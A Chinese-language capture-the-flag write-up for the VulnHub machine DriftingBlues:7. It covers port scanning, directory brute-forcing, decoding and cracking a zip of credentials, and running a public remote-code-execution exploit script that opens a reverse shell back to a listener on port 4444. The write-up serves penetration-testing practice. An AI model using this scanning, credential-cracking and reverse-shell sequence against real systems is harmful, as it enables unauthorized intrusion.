vulnhub靶机 | DriftingBlues:7 write-up

靶机下载地址:https://www.vulnhub.com/entry/driftingblues-7,680/

 

题目的目标是要夺到里面的flag，搭建好环境如图。

 

 

首先用nmap扫描一下ip地址

•  

nmap -sP 192.168.110.1/24  #扫描网段中存活主机

•  

nmap -p- 192.168.110.167  #在看看上面运行的服务

•  

nmap -sV 192.168.110.167  #查看服务版本

上面运行的一些apache、ssh所在版本都没有漏洞，所以我们从它的80端口入手。访问80端口会被跳转到如下页面

这里尝试了弱口令，暴力破解都没有猜解到密码，所以我们可以先去扫描一下它的目录结构。

扫描出来的目录也没有发现什么有价值的东西。所以只能从其他的端口进行切入了。上面扫描ip上运行的端口发现上面还有一些其他的端口，其中有一个66端口。

上面运行了一个SimpleHttpServer 0.6，所以我们进行访问。

接下来再去扫描一下它的目录结构

扫描出一个index_files文件夹，进行访问

但是里面并没有发现什么有价值的东西，然后就卡了好久，但是感觉就有一种的洞就在这里的感觉。后来打开kali用dirsearch去爆破了下目录。

•  

python3 dirsearch.py -u http://192.168.110.167:66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

 

发现有了另外的收获，吓得我赶快去访问试一试。

下载了一个是文件下来，打开看看。

有点相base64编码后的字符串，那我们用base64解码试一试。

PK开头，熟悉压缩包的师傅都懂了吧，这应该是一个压缩包文件了。那我们把解码后的字符串复制出来写进一个zip文件里面去，但是发现写不进去。

那我们在kali上打开进行base64解码然后输出

•  

cat eon | base64 -d>eon.zip

 

然后解压发现需要密码

  

要密码那只好爆破了

然后打开creds.txt文件可以看到账号密码

那我们回到80端口进行登陆

登陆成功

在上图可以看到版本，接下来我们搜索该版本存在什么漏洞。

有个远程代码执行漏洞，把下方exp保存到kali

现在kali上监听4444端口

然后运行脚本

•  

python3 1.py https://192.168.110.167/ -ip 192.168.110.164 -port 4444

 

接收到shell，然后就是寻找flag的位置了。然后发现在root目录下